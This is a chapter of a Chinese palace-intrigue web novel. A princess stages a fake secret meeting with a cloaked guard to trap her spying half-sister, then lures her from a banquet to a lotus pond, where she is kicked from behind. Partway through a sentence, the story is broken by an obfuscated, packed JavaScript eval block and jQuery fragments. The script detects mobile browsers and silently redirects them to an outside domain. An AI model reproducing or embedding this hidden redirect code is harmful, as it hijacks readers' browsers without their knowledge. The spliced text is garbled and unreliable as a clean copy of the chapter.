“三公主已经出门了,正往御花园的方向去。”
褚奎走后,没过多久,芳吟就从宫人的口中得来消息。
胥毓唇角微扬,眼中闪过一丝冷光:“褚侍卫那边应该也已经准备好了,咱们出发吧。”
她今日参加高贵妃寿宴,只带了琴夏和两个小宫女随行,连平日里寸步不离的芳吟都被留在了宫中,着实是有些令人意外。
初春的御花园百花初绽,微风拂过,带起阵阵暗香。
胥毓故意选了条偏僻小径,行走间的脚步时快时慢,像是在等什么人。
没过多久,身旁的琴夏就突然低声说道:“公主,人来了。”
胥毓不动声色地抬手捋了捋耳边垂发,余光瞥见远处一抹鹅黄色身影,正是胥锦婳。
胥锦婳带着宫女途径此处,原本只是路过。
但见胥毓今日身边跟着的竟是琴夏和两个眼生的小丫头,心生好奇,便屏退左右悄悄跟了来,想看看胥毓到底要搞些什么名堂。
她像是头一遭做这种事,所以跟踪的技法漏洞百出,好几次都搞出了声响。
但胥毓冷笑一声,统统装作没听见,然后快步走向了假山后的凉亭。
胥锦婳当然没觉得是自己已经暴露了,她看着胥毓慌乱地脚步,只当她八成是要干什么坏事,所以根本无暇顾忌自己是不是会被人跟踪。
这样一想,她心里就更加好奇,于是赶忙又加快了脚下的步子。
穿过拱桥,跟着胥毓的脚步行至假山处时,只见那里早已候着一个披着墨色斗篷的身影。
虽然宽大的帽檐将那人的面容遮得严严实实,但无论是从那显露出来的身形个头,还是露在外面宽大厚实的手掌来看。
都毋庸置疑是个男子!
胥锦婳的心脏“突突”直跳,暗道这山野丫头果然不是个安分的,没想到回宫才没多久,竟然就开始勾搭野汉子了!
她本是因为下毒一事害怕胥毓报复才暗中跟踪,没想到竟撞破这等丑事!
只可惜她害怕暴露,没带什么人来,不然现在就可以抓她个现行,帮胥嘉一举除了这个祸害。
但有一有二便有三,胥毓既然做了这样的事情,就不怕她后面能忍住不找这人,所以只要她能把人给盯紧,就不怕抓不到胥毓与人私通的证据……
这边胥锦婳暗搓搓地想着,那边胥毓却是“急不可耐”地和人拉扯。
“你怎么才来啊?”她故意提高声音,语气中带着几分娇嗔,“人家都等急了。”
斗篷人没有答话,只是伸手拉住了胥毓的手腕。
两人拉扯间,胥毓的珍珠冠歪了几分,流苏缠在了斗篷人的衣扣上。
“小心些……”胥毓慌乱地去解,发髻都散了几缕。
但这可不在她的计划之中。
原本她只打算装模作样地和扮做“奸夫”的褚奎接上头,然后说几句话,就把胥锦婳甩开继续下一步棋。
但没想到今日头上的这顶冠子如此不方便,所以一个不小心,便挂到了褚奎的身上。
“公主小心,属下来。”
被斗篷覆面的褚奎小心地将挂在身上的流苏摘下,他垂首,胥毓又不得已的向他胸膛的方向偏着头。
所以从胥锦婳的角度来看,就像是胥毓与人私会,并且大胆的依偎在了对方的胸膛上。
这阴差阳错的暧昧画面被躲在假山后的胥锦婳尽收眼底,她顿时瞪大了眼睛,手指死死攥住帕子。
可惜,可惜,实在可惜!
此番要是带了人来的话,胥毓绝对是插翅难逃的!
不过,虽然自己没带人,但今日高贵妃寿宴,处处都是忙碌的宫人。
只要她能把胥毓和那个奸夫当场抓住,再把其他人吆喝过来,说不定也能让胥毓就此身败名裂!
胥锦婳心里想得美滋滋,但正当她想要靠近时,却见那斗篷人突然揽住胥毓的腰,然后几个起落便消失在假山后。
胥锦婳急得跺脚,赶忙追了过去,但她为了不被发现离得本来就有些远,所以眼下赶过来,方才站在这里的两人早就全没了踪迹。
她气恼地叹了口气:“早知道就早点过来了!”
但现在说这些已经晚了,所以她再不甘也只能作罢,心里盘算着等到了宴席上再找机会试探试探胥毓。
*
高贵妃的寿宴设在凝晖堂,殿内金碧辉煌,觥筹交错。
胥锦婳到后等了许久,眼见着宴席马上就要开始,不知跑去哪儿的胥毓才姗姗来迟。
她头上的珍珠冠已经重新整理好,冠上那颗鸽卵大的南海鲛人珠在灯下熠熠生辉,瞬间吸引了所有人的目光。
“荣安公主到——”
太监的唱喏声中,胥毓款款而入。
她先参拜过父皇母后,才向一侧的高贵妃行礼,“贵妃娘娘容光不减,今日宴席更见风华,荣安遥祝娘娘福泽绵长,如月之恒,如日之升,岁岁无忧,喜乐常伴。”
高贵妃就坐在皇帝下首,因着家中权势颇得圣宠,所以日日舒心的保养下,年近四十的年岁瞧着倒像是二十出头。
她今日身着一席正红色大衫,领口袖沿滚着两指宽的织金缠枝纹,大衫外罩着深青色霞帔,帔身用孔雀蓝线绣出了流云百福。
头上的九翟冠倒是没插满珠翠,只在冠顶嵌了颗鸽血红宝石,两侧金凤衔着珍珠串垂到鬓边,垂珠碰着耳垂上的翡翠环,倒比鬓边簪的那只赤金点翠步摇更显灵动。
再看她脸上,脂粉打得极薄,偏那肤色本就白润,倒像刚剥壳的荔枝肉,透着点自然的粉。
眉是用螺子黛画的远山眉,尾端微微挑起来,却没带半分凌厉,反倒衬得那双杏眼更显水润。
眼尾扫了点胭脂晕,不细看只当是天生的红晕,唇上点的是蔷薇色口脂,唇角微微弯着时,倒比她鬓边任何一朵珠花更添艳色。
她听了胥毓的祝词,眼波流转间漾起一丝笑意,“荣安公主这张巧嘴倒是会说,只是本宫听闻公主近来身子不爽利,怎的还特意赶来?”
这就是说话的艺术了,阖宫上下谁人不知胥毓是中了毒,且还牵扯到了皇室内斗,而且皇帝对此也完全是讳莫如深。
但高贵妃不提中毒,只说是身体不爽利,这样既没损了皇室颜面,又体现了对胥毓的关切之情。
着实厉害。
胥毓又看了眼这位集美貌与智慧于一身,可惜却生出了二皇子那么个笨蛋的贵妃娘娘,内心止不住的为她惋惜。
“娘娘寿辰,荣安岂敢怠慢,只不过前些时候害了些小病,如今已大好了。”胥毓垂眸浅笑,鬓边的流苏随着她的动作轻轻摇晃。
虽然并没有提及什么,但皇帝显然还是有些忌讳,所以他在上首客套地笑了笑,便说道:“毓儿向来懂事,礼数也格外周全,所以如何会缺席你的寿宴?好了,宴席要开始了,落座吧。”
皇帝赶人,刚好胥毓也不想再继续假客套,所以便顺势回到了自己的席位上。
但是好巧不巧,二公主胥昭云今日身体不适未能赴宴,所以胥毓此刻的位子竟然正与胥锦婳相邻。
不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16051349|178830||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过这样也好,倒是更方便待会把她给引出去了。
胥毓不着痕迹得露出了一抹坏笑,然后又继续演了起来。
“大皇姐今日真是光彩照人。”胥锦婳假笑道,眼睛却一直往殿外瞟,显然在找那个斗篷人。
从胥毓出现在她的视线里开始,她的眼睛就丝毫没有停歇过,一会儿环顾四周看看有没有什么嫌疑人,一会又盯着胥毓漏在外面的肌肤想看出什么蛛丝马迹。
但是很遗憾,饶是她绞尽脑汁眼睛都快看瞎了,也丝毫没看出什么不对劲来。
要不是当时在御花园里的那一幕是自己亲眼所见,她现在只怕是都要怀疑是不是看错了。
但是好在胥毓现在坐在了她的身边,距离得这样近,她就不相信还不能看出点什么蹊跷来。
而此时胥锦婳的眼里的胥毓,听见自己给她打招呼,竟然就只是心不在焉地应着。
并且目光还频频地扫向殿门,就好像是在等着什么消息,亦或者什么人似的。
若是往常,按胥毓的性子,听见自己这么个疑似害过她的人无缘无故地找她搭话,她定是要阴阳怪气地杵上两句,但现在竟然只是随便地应和。
所以这副模样,就更让胥锦婳确信了她心中有鬼。
她坚信胥毓今天的这场宴席绝对还会有什么动作,所以一直都死死地留意着身旁的影子,生怕稍不留神,她就又和御花园里的那次一样,倏地就在自己的眼前消失了。
而胥毓自然也没有让她失望。
只见宴至半酣,芳吟突然就从殿外匆匆入内,她先是在胥毓耳边低语几句,随后又递上了一封信笺。
那封信件上并没有任何标识,看不出究竟写了些什么内容。
但胥毓展开一看,脸颊顿时飞上两朵红云,随即立马起身向高贵妃告罪,说是身子不适要先离席。
情书!绝对的没跑了!
胥锦婳的心里现在比拿到“情书”的胥毓还要更加激动,所以见胥毓离席,她立刻也跟了出去。
这次她都想好了,等到胥毓和那个“奸夫”一碰面,到时候她就立马冲出去将两人抓住,然后喊人过来捉奸!
到时候众人围观之下,纵使她胥毓能有三寸不烂之舌,也休想摆脱污名掀起什么风浪。
胥锦婳紧紧地跟在胥毓身后,双手激动地直发抖,她眼看着那主仆二人七拐八绕,最后停在一处假山前。
然后芳吟从怀中取出一件白色斗篷给胥毓披上,便留下胥毓一人,然后匆匆离去。
“来了来了,那个奸夫肯定就在附近!”胥锦婳心中狂喜,蹑手蹑脚地就跟了上去。
但穿着斗篷的胥毓走得极快,转过几道回廊后,又径直往后花园的莲池边走去。
莲池那边有些偏僻,正是一个偷情的好去处,想必他们必然是要在此处接头了。
胥锦婳兴奋地绕过假山,来到后花园的莲池边,只见莲池在阳光下泛着粼粼波光,几尾红鲤悠闲地游弋在水面的落叶之间。
但是,胥毓人呢,“奸夫”人呢,怎么两个人一个都没看见了?
胥锦婳站在池边,脚上的绣花鞋已经被露水打湿,她烦躁地踢开一块石子,溅起几滴水花。
“人呢?”
方才明明看见那披斗篷的身影往这边过来,怎么一转眼的功夫就不见了?
春风带着凉意掠过水面,带起一阵涟漪。
胥锦婳揣着满肚子的疑惑,突然觉得后背有些发凉,但还未及回头,一股大力就猛地踹在她的后腰上!
“啊——”